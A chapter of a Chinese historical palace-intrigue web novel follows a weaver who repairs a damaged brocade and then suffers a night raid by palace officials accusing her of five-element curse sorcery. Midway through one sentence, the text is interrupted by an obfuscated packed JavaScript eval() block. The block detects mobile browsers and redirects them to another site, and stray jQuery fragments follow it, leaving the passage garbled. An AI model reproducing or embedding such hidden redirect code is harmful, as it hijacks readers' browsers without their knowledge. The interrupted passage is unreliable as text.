夜已深，万籁俱寂。
京城南隅这处不起眼的小院里，最后一盏灯火也已熄灭多时，只有墙头残雪映着微弱的星月之光，勾勒出院落寂静而清冷的轮廓。
东厢房内，却并非一片黑暗。
门窗已被厚实的棉帘遮得严严实实，连一丝风、一线光都透不进来。桌案上，一盏孤灯如豆，灯焰被刻意捻到最小，只吝啬地释放出一圈昏黄的光晕，勉强照亮案头方寸之地。空气凝滞，弥漫着一股奇异的腥甜气息——那味道浓烈而复杂，初闻像是陈年的铁锈，再细辨，又似某种干涸凝固的、带着金属味的血，还有一种难以言喻的、属于遥远异域的辛辣感。
苏晚音就坐在这圈光晕的中心。
她微微俯身，手中拈着一支笔尖细如发丝的狼毫笔，全神贯注，呼吸都放得极轻，仿佛怕惊扰了面前那匹摊开的锦缎。
正是白日里在通州码头遭了劫难的“雨过天青”秘色锦。
此刻，锦缎的中段，那片原本灵动如烟霞的“天青”底色上，赫然横亘着一块约莫手掌大小、色泽灰败黯淡的区域。那是被北方酷烈日光灼伤后留下的“疤痕”，边缘晕染开不自然的黄褐色，如同美人脸上突兀的胎记，彻底破坏了整匹锦缎浑然天成的灵气与和谐。
灯光下，那片伤痕处的丝线，甚至能看出细微的、因过分干燥而起的毛糙。
砚台里盛的，不是墨，而是一汪粘稠的、红得近乎妖冶诡谲的液体。那是用三百两雪花纹银换来的、小半瓶胭脂虫干，在特制的玉臼中研磨成极细的粉末，再兑入提纯的高度烧酒和少量明矾，反复调和搅拌而成的“续命浆”。此刻正静静躺在砚中，在微弱灯光下反射着暗沉而危险的光泽，像一捧尚未凝结的、浓缩的夕阳，又似某种禁忌生物的心头精血。
“忍着些。”她低声自语，声音轻得几乎听不见，既像是在对那匹沉默的锦缎低语，又像是在安抚自己紧绷到极致的神经。
笔尖轻轻落下。
触碰到锦面的瞬间，那浓烈霸道的胭脂红浆液，便如同嗅到血腥的活物，迅速沿着丝线的经纬纹理渗染开去。那抹被晒至灰败的紫色，与这外来的、强横无匹的红色甫一接触，便发生了激烈的纠缠、吞噬与交融。修补的难点正在于此——多一分则艳俗如娼妓，少一分则枯槁如败絮，全凭执笔之人手腕的极稳，心神的极静，以及对色彩分寸妙到毫巅的掌控。
她屏住呼吸，眼睫低垂，手腕悬停，只以极细微的力道牵引笔尖，沿着伤痕的边缘，一丝一丝，一点一点，将那股霸道的红，谨慎地“渡”入原本的紫蕴之中。汗水，无声地从她额角渗出，沿着清瘦的脸颊滑落，在下颌汇聚，滴落在深色的衣襟上，洇开一点更深的痕迹。
谢无咎依旧坐在门边的暗影里。
他怀抱长剑，背脊挺直如松，目光穿过昏暗的光线，一瞬不瞬地落在苏晚音执笔的右手上。他的呼吸放得极缓，极轻，几乎与这凝滞的夜色融为一体，仿佛自己也是一件沉默的家具，生怕一丝多余的气息，都会惊扰那根维系着最后希望的、脆弱的笔尖。
时间，在寂静中一点点流逝，唯有笔尖偶尔划过丝缕时发出的、几乎不可闻的细微摩擦声。
一刻钟，长得像一个时辰。
终于，苏晚音缓缓地、长长地吐出一口浊气，将那支仿佛重若千钧的狼毫笔，轻轻搁在了笔山上。
她端起那盏油灯，凑近锦面，仔细检视。
只见那块原本丑陋的灰败伤痕，已然消失不见。取而代之的，是一种浴火重生般的、奇异的艳光。胭脂虫的红与秘色锦原本的紫，在烧酒与明矾的催化下，竟然融合出了一种前所未有的、深沉而内敛的紫红色调，如同最上等的鸽血宝石在幽暗处静默燃烧，又似涅槃凤凰初生的羽尖，带着一种惊心动魄的、近乎妖异的美丽。
在周围完好锦缎的衬托下，这一小块修补后的区域，非但不显突兀，反而因其独一无二的色泽与光泽，竟比原锦更加夺目，隐隐成为了一种刻意为之的点睛之笔。
“成了。”苏晚音的声音带着一丝虚脱后的沙哑，嘴角勉强牵起一个极淡的弧度，眼中却终于有了点亮光，“若是……若是此番能侥幸过关，这匹锦，便改名叫‘涅槃’罢。”
然而，就在她这口气尚未松到底，心神稍懈的刹那——
“砰！砰！砰！！！”
院门外，骤然响起一阵暴烈到近乎疯狂的砸门声！
那声音毫无预兆，力道之大，震得整扇并不结实的木门都在剧烈颤抖，门框上的灰尘簌簌落下。紧接着，是第二波、第三波……仿佛有无数只铁锤在同时擂击，带着一种不容置疑的、摧毁一切的蛮横。
“开门！内务府奉旨查案！再不开门，休怪爷们儿不客气，直接撞了！”
一声尖利高亢、充满戾气的厉喝，穿透门板，如同冰冷的锥子，狠狠扎进屋内三人的耳膜。
苏晚音手猛地一抖，案上那盏本就微弱的油灯灯焰疯狂跳动，一滴滚烫的灯油溅出，正落在她捏着锦缎一角的手背上，瞬间烫起一小点殷红。
钻心的疼。
谢无咎眼神骤冷，身形如鬼魅般一闪，已至苏晚音身前，将她护在身后，声音低沉而紧绷：“别动。我去。”
“躲不掉的。”苏晚音却已迅速反应过来，她顾不上手背的灼痛，几乎是本能地一口吹灭了案头的油灯。黑暗中，她凭着记忆，以最快速度将刚刚修补好、浆液尚未干透的那匹“涅槃”锦胡乱卷起，塞进墙角叠放整齐的被褥最深处。然后猛地站起身，在绝对黑暗里，摸索着迅速理了理微乱的衣襟和鬓发。
她的声音在黑暗中响起，冷得像淬过冰的刀子：
“听这动静，这阵仗……不是来‘谈’，是来‘抄’的。是来……索命的。”
……
院子里已经彻底乱了。
随着“轰隆”一声巨响，那扇饱经摧残的木门终于不堪重负，被数名壮汉用肩膀合力生生撞开！断裂的门栓和木屑四处飞溅。
紧接着，数十只熊熊燃烧的火把，如同一条择人而噬的火龙，瞬间涌入这方小小的、寂静的院落，将原本的黑暗驱散得一干二净，照得亮如白昼，纤毫毕现。
火光映照下，是两排身着统一皂衣、腰挎制式腰刀、面色冷硬如铁的内务府番役。他们动作迅捷而有序，瞬间便控制住了院门、通道和几间厢房的门口。
为首之人，正是白天在内务府值房前趾高气昂的小夏子。他今夜换了一身更正式的蓝灰色管事太监服，手里捏着一卷刺眼的明黄色封条，脸上再无半分慵懒戏谑，只有一片阴鸷冰冷的戾气。火光跳跃，映得他面白无须的脸庞半明半暗，更添几分扭曲与狰狞。
“哟呵，苏掌案还没歇下呢？”
小夏子踱着方步，跨过门槛，目光像淬了毒的钩子，先扫过衣衫不整、惊慌失措从厢房里跑出来的阿福和几名苏家伙计，最后，死死定格在刚刚推开房门、面色沉静走出来的苏晚音身上。
他嘴角扯出一个恶意满满的弧度：
“这大半夜的，屋里头还点着灯，黑着窗……是在赶工织您那宝贝锦缎呢？还是……在搞些什么见不得人的、魇镇压胜的邪术啊？！”
“压胜”二字，如同惊雷，在火光通明的院子里炸开！
阿福刚披上外衣，闻言如同被踩了尾巴的猫，赤着脚就冲到最前面，张开双臂，试图拦住那些如狼似虎的番役，声音因愤怒和恐惧而变调：
“公公！您这是做什么？！我们苏家是奉旨进京的皇商候选！清清白白，犯了哪条王法律例，要劳动内务府深夜闯宅，如此折辱？！”
“皇商？候选？”
小夏子嗤笑一声，仿佛听到了天大的笑话。他猛地抬起手，毫无征兆地，狠狠一巴掌扇在阿福脸上！
“啪！”
清脆响亮的耳光声，在死寂的夜里格外刺耳。阿福被打得猝不及防，整个人踉跄着倒退好几步，嘴角瞬间破裂，渗出血丝，半边脸颊迅速红肿起来。
“还在做你的春秋大梦呢？！”小夏子甩了甩手，眼神森寒如九幽寒冰，“给我搜！特别是库房！犄角旮旯都不许放过！把那些藏着掖着、见不得光的‘好东西’，都给爷翻出来！尤其是……带金线的！”
“是！”
番役们轰然应诺，如狼似虎般扑向西厢临时充作库房的屋子。
“住手！”
苏晚音厉喝一声，快步走下台阶。谢无咎紧随其后，如同她的影子，手掌已虚按在腰间——那里虽无剑，但他周身骤然腾起的、近乎实质的冰冷杀气，让几个冲在前面的番役下意识地脚步一顿，竟不敢再贸然上前。
小夏子眯了眯眼，忌惮地瞥了谢无咎一眼，随即冷笑一声，似乎早有准备。他不慌不忙地从袖中掏出一块布料，举到火把下，递到苏晚音面前，几乎要贴到她的鼻尖。
“苏晚音，你——认不认得这个？”
苏晚音瞳孔骤然收缩。
火光下，那块布料边缘毛糙，颜色玄黑，中间隐隐有极细的金线闪烁——正是她前日拜访瑞蚨祥时，送给佟掌柜做“问路石”的那匹“玄底藏金”锦的边角料！
“此锦名为‘福寿万代’，乃民女所织样锦之一。”苏晚音强压住心头翻涌的寒意，声音竭力保持平稳，“不知此物，如何到了公公手中？又……有何不妥？”
“妥？大大的不妥！”小夏子猛地收回手，将那布片举高，让周围所有人都能看见，声音陡然拔高，尖利刺耳：
“咱家问你！这锦面，主色为何？！”
“……玄色。”
“这锦里，暗藏何线？！”
“……金线。”
“玄者，北方正色，五行属水，主智，主藏，主寒！”小夏子步步紧逼，声音一句比一句高亢，一句比一句阴毒，“金者，帝王之色，五行属火，主礼，主明，主贵！而你——”
他猛地将那布片狠狠摔在地上，用靴底死死碾住，仿佛那是某种肮脏污秽之物，目光如毒蛇般缠绕着苏晚音：
“你竟敢用玄色的大网，将金色的火种死死压住、困死、湮灭！这在宫里的风水局上，在钦天监的典籍里，叫做‘水克火’！叫做‘黑水湮明’！是最最恶毒阴险的五行相克、厌胜诅咒之术！”
他猛地凑近苏晚音，几乎脸贴着脸，声音压得极低，却字字如淬毒的冰针，扎进她的耳中：
“苏晚音，你好大的狗胆！竟敢在预备进呈的贡锦里，暗藏此等相冲相克的凶煞之兆！你是想咒谁？！咒皇上？还是咒太后？！”
这罪名，虽非直接的“谋逆造反”，却比谋逆更加阴毒百倍，致命千倍！
因为它直指宫廷最忌讳、最敏感、也最无法理性辩驳的领域——厌胜巫蛊，阴阳五行，冲克国运！
“公公言重了！此乃无稽之谈！”苏晚音挺直脊背，指甲深深掐入掌心，试图用疼痛维持最后的冷静，“玄色藏金，不过取‘财不露白，福泽内蕴’的民间吉利意头，富庶之家皆爱此道，何来相克之说？五行生克本是天地常理，岂能如此断章取义，牵强附会？！”
“是不是牵强附会，你说了不算！”
小夏子厉声打断，脸上露出一种混合着得意与残忍的笑容：
“这东西，今儿下午就呈到了惠妃娘娘的案头！娘娘只看了一眼，便觉心口发闷，气息不顺，说是煞气扑面，惊扰了凤体！皇上听闻后，龙颜震怒，亲口说了——”
他深吸一口气，模仿着某种威严而冰冷的语调：
“‘江南商贾，不懂规矩，屡犯禁忌，需得严加查察，以儆效尤！’苏掌案，皇上最看重的，便是祥瑞与国祚！你送这‘水克火’的玩意儿进去，是想咒皇上龙体欠安，是想坏我大晟的火德吗？这道口谕，你——接不接得住？！”
苏晚音只觉得一股寒气，从脚底瞬间窜遍四肢百骸，直冲天灵盖！
她千算万算，想到了霍天北会从技艺、从规矩上打压，却万万没想到，对方竟会用这种最为虚无缥缈、却又在宫廷最为致命的“阴阳五行禁忌”来杀人！
这种罪名，不需要物证，不需要逻辑，只需要“感觉不祥”，只需要“冲撞凤体”，就足以将她、将苏家、将谢家，打入万劫不复的深渊！
“来人！”小夏子不再给她任何辩解的机会，猛地一挥手，尖声喝道：
“查封！将苏家所有库存锦缎、相关账册、织造工具，全部贴上封条，带回内务府，严加勘验！如有阻拦者，以抗旨论处，格杀勿论！”
“我看你们谁敢动！”阿福捂着脸，不知从哪儿摸出一根顶门用的粗木杠，双眼赤红，就要不管不顾地冲上去拼命！
“阿福！退下！”苏晚音用尽全身力气，发出一声嘶哑却异常清晰的厉喝。
她死死盯着小夏子，又飞快地扫了一眼周围那些手已按在刀柄上、眼神冷漠如屠夫的内务府番役。她知道，只要阿福那根木杠挥出去，哪怕只是擦到对方的衣角，今夜，这个小院就会立刻变成血腥的屠宰场！对方等的，或许就是这个借口！
“让他们……封。”
苏晚音闭上眼，浓密的睫毛剧烈颤抖着，再睁开时，眼底只剩下一片死寂的灰败。指甲深深嵌入掌心，刺痛传来，却远不及心头那被生生撕扯的剧痛。
“谢无咎，”她声音沙哑，几乎不成调，“拉住他。”
谢无咎沉默着，如同磐石。他伸出手，那只手稳定得可怕，像铁钳一样扣住了阿福颤抖的肩膀，将他硬生生拽了回来，按在原地。他的目光，却如两柄烧红的利剑，死死钉在小夏子那张得意洋洋的脸上，仿佛要将他的模样刻进骨髓。
一口口沉重的樟木箱被粗暴地从库房里拖了出来，扔在院中。
那里面，有耗费无数心血织造的、预备进呈太后的“百寿图”锦；有专为嫔妃设计的、清雅灵动的“春江水暖”锦；有融合了苏谢两家最新技艺的“云山叠翠”锦……当然，还有那匹刚刚修补好、浆液未干、被她命名为“涅槃”、寄托了最后一丝渺茫希望的秘色锦。
明黄色的封条，被番役们蘸着浆糊，“刺啦”、“刺啦”地贴在一口口箱子上，像是一道道刺目的、无法愈合的伤口，也像是一座座冰冷的墓碑。
小夏子背着手，站在台阶上，欣赏着这一切。看着苏晚音那强自镇定却依旧苍白的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032922|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，看着谢无咎那压抑到极致的冰冷目光，看着阿福和众匠人绝望愤恨的眼神，他脸上露出了猫戏老鼠般的、满足而残忍的笑容。
“苏掌案，”他慢悠悠地踱到苏晚音面前，凑近，用只有两人能听到的声音，阴毒而快意地低语：
“咱家劝你一句，在这四九城，手艺再好，不如规矩学得早。霍爷让咱家给你带个话：京城的水太深，火太旺。你们南边来的这点儿‘水’……灭不了这里的火，只会把自己，一点一点，蒸干，熬尽，连渣都不剩。”
说完，他志得意满地直起身，哈哈大笑了几声，一甩拂尘：
“走！回衙！”
火把的长龙，如来时一般迅速退去，带走了院子里所有的光，也带走了苏家最后的希望与生机。
黑暗与死寂，重新如潮水般淹没小院。
只剩下满地的狼藉，碎裂的门板，和那一口口贴着刺眼黄封、如同棺材般沉默的樟木箱。
苏晚音独自站在院子中央，夜风带着未散的硫磺与尘土气息吹过，吹得她单薄的衣衫紧紧贴在身上。她身体抑制不住地微微颤抖，不是冷的，是那股从心底最深处弥漫开来的、灭顶的寒意与无力。
“完了……全完了……”阿福瘫坐在地上，双目空洞无神，望着那些封条，喃喃自语，声音里是彻底的绝望，“库封了……贡期还有五天……我们拿什么交差？成了‘不祥之人’，‘犯禁之徒’……这京城，还有谁敢沾我们的边？苏家……谢家……几百口人……”
就在这时——
“喵——”
院墙外，突然传来一声极其轻微、短促的猫叫。
那叫声不似寻常野猫的绵长，反而带着一种刻意压抑的凄厉与急促，在死寂的夜里，格外清晰。
谢无咎反应极快，与苏晚音交换了一个眼神，身形如同暗夜中的一道轻烟，无声无息地掠过低矮的墙头。
片刻之后，角门处传来极轻的“吱呀”声。
一个头戴深檐毡帽、身形颀长挺拔的男子，如同鬼魅般闪了进来。他迅速摘下帽子，露出一张清俊儒雅、此刻却写满了疲惫与凝重的脸。
“齐衡哥哥？！”苏晚音浑身一震，几乎不敢相信自己的眼睛。
“长话短说，此处不宜久留。”齐衡语速极快，目光警惕地扫过四周，声音压得极低，“这次整你们的，不是霍天北一个人。是宫里的惠妃。她在皇上枕边吹风，说你们江南的东西，‘阴气过重，精巧近妖，不合北地正统，恐冲撞了太后的福寿’。霍天北不过是借了这把刀，把‘逾制’和‘冲克’混在一起，就是要让皇上从心底觉得你们……晦气。”
“那我们……”
“解释无用！此刻任何辩解，在皇上和那些信这些的宫妃耳中，都是狡辩，是欲盖弥彰！”齐衡断然摇头，眼神锐利，“要想破局，不能退，只能进！而且要进得让他们意想不到，进得让他们无法再扣帽子！”
他从怀中迅速掏出一枚样式古旧、边缘甚至有些生锈的黄铜钥匙，不由分说地塞进苏晚音冰凉的手心里。
“既然他们说你们‘阴气重’，说你们‘犯忌讳’，说你们的东西‘见不得光’……”
齐衡紧紧盯着苏晚音的眼睛，一字一句，清晰而沉重：
“那你们就索性——‘犯’得更彻底一点！”
苏晚音握紧那枚冰冷刺骨的钥匙：“这是……？”
“城西，有一处前朝废弃的官营染坊。荒废多年，传闻不靖，连乞丐都不敢靠近。”齐衡语速更快，“但里面，还留着些当年工部废弃不用的陈年旧丝、残次矿料，以及一些早已无人查对的烂账旧册。那地方，如今没人会去，也没人敢去。”
他深吸一口气，声音压得更低，却带着一种破釜沉舟的指引：
“太后信佛，且近年来越发痴迷于各种‘天降祥瑞’‘神佛显灵’之说。你们若能在那处‘鬼地方’，用那些‘废物’，织出一件让太后觉得是‘天意所为’‘佛法点化’的东西……”
他深深看了苏晚音一眼，那目光复杂难言，有关切，有决绝，更有一种孤注一掷的信任：
“那么，今日他们强加给你们的‘阴气’，就会变成‘灵气’！‘晦气’，就会变成‘佛光’！晚音，记住，在这宫里，皇上或许厌‘鬼’，但太后……信‘佛’！”
说完，他不再停留，迅速重新戴好毡帽，如同来时一般，悄无声息地拉开角门，身影迅速融入外面浓得化不开的夜色中，消失不见。
院子里，再次只剩下苏晚音、谢无咎，以及瘫坐在地、仿佛失去魂魄的阿福。
死寂。
苏晚音低头，看着掌心中那枚冰凉粗糙的铜钥匙。齐衡的话，如同惊雷，在她脑海中反复轰鸣。
阴气。晦气。鬼。佛。
霍天北和冯保，用最正统的“规矩”和“禁忌”，给她织就了一张天罗地网，要将她困死、闷死。
而齐衡，却指给她一条看似绝路、实则暗藏一线生机的险径——用“鬼”的办法，去织“佛”的锦。
“掌案……咱们……真要去吗？”阿福颤声问道，脸上还带着泪痕和红肿，“那地方……听说真的闹鬼，而且只有废丝烂料……这……这怎么可能……”
苏晚音没有立刻回答。
她的目光，缓缓移向院子角落里——那里堆着几个被遗忘的粗陶罐。里面装的，是当初在苏州试验“荧光”技法时，因成色惨白灰败、毫无光泽而被视为彻底失败、差点被丢弃的某种特殊矿石研磨的粉末。
那些粉末，在江南湿润的空气里，黯淡如死灰。
可这里是北方。干燥，酷烈，日夜温差巨大……
她眼中原本的绝望与灰败，如同被火星点燃的枯草，一点点，燃起了幽冷而疯狂的火焰。
“霍天北说我们‘水克火’，说我们是‘黑水灭明’……”
苏晚音的声音，在冰冷的夜色中响起，平静得近乎诡异。
“那是因为……他们只见过人间的火。”
她猛地转过身，看向谢无咎。昏暗的光线下，她的眼睛亮得惊人，那里面翻滚着孤注一掷的决绝，以及一种近乎殉道者般的狂热。
“阿福，”她吩咐道，声音清晰而稳定，再无半分颤抖，“带上那几罐……‘废粉’。我们去——”
她顿了顿，吐出两个字，重若千钧：
“织鬼。”
谢无咎静静地看着她，看着她眼中那簇疯狂燃烧的火焰。他没有问，没有劝，只是默默走到墙角，将那几罐沉甸甸的、被视为垃圾的陶罐，稳稳提起。
苏晚音握紧了手中那枚生锈的钥匙，指尖用力到发白。她抬起头，望向北方天际那片沉沉的、无星无月的夜空，一字一句，如同立誓：
“去织一件……只有在最黑暗、最绝望的角落里，才能被看见的——”
“光。”
夜色，如同浓稠的墨汁，将这座庞大而森严的帝都，彻底吞没。
而一场与鬼神争锋、向绝境索要生机的豪赌，已然在无人知晓的角落，悄然拉开了它血腥而诡异的序幕。
（第四章·逾制完）